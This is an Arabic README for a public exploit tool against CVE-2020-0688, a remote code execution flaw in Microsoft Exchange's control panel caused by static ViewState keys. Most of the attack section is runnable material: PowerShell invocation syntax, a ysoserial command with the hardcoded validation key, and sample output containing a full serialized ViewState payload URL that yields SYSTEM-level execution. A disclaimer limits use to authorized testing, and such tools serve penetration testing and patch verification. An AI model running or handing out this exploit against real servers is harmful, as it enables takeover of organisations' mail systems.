
تنفيذ التعليمات البرمجية عن بُعد على خادم Microsoft Exchange عبر مفاتيح تشفير ثابتة
توجد ثغرة تنفيذ كود عن بُعد في Microsoft Exchange Server عندما يفشل الخادم في إنشاء مفاتيح فريدة بشكل صحيح أثناء التثبيت.
تسمح معرفة مفتاح التحقق لمستخدم مصادق عليه يمتلك صندوق بريد بتمرير كائنات عشوائية ليتم إلغاء تسلسلها بواسطة تطبيق الويب، الذي يعمل بصلاحيات SYSTEM.
تم العثور على الخطأ في مكوّن لوحة تحكم Exchange (ECP). طبيعة الخطأ بسيطة للغاية. فبدلاً من إنشاء مفاتيح عشوائية لكل عملية تثبيت على حدة، تمتلك جميع عمليات تثبيت Microsoft Exchange Server قيم validationKey و decryptionKey نفسها في ملف web.config. تُستخدم هذه المفاتيح لتوفير الحماية لـ ViewState. ViewState هي بيانات من جهة الخادم تخزّنها تطبيقات ASP.NET بتنسيق مسلسَل على جهة العميل. يقوم العميل بإرجاع هذه البيانات إلى الخادم عبر معامل الطلب __VIEWSTATE.
بسبب استخدام مفاتيح ثابتة، يمكن لمهاجم مصادق عليه خداع الخادم لإلغاء تسلسل بيانات ViewState مصممة بشكل خبيث. وبمساعدة YSoSerial.net، يمكن للمهاجم تنفيذ كود .NET عشوائي على الخادم في سياق تطبيق الويب الخاص بلوحة تحكم Exchange، والذي يعمل بصلاحيات SYSTEM. (المصدر)
بفضل هذه التعليمات، يمكنك الحصول على نسخة من المشروع وتشغيلها على جهازك المحلي لأغراض التطوير والاختبار.
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
المساهمات هي ما يجعل مجتمع المصادر المفتوحة مكاناً رائعاً للتعلّم والإلهام والإبداع. أي مساهمات يمكنك تقديمها محل تقدير كبير.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)تم تطوير هذا الاستغلال ونشره لأغراض تعليمية وبحثية فقط. لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير قانوني. استخدمه على مسؤوليتك الخاصة وفقط ضد الأنظمة التي لديك الإذن لاختبارها.
هذا المشروع مرخّص بموجب رخصة جنو العمومية العامة الإصدار 3.0 - راجع ملف LICENSE للحصول على التفاصيل.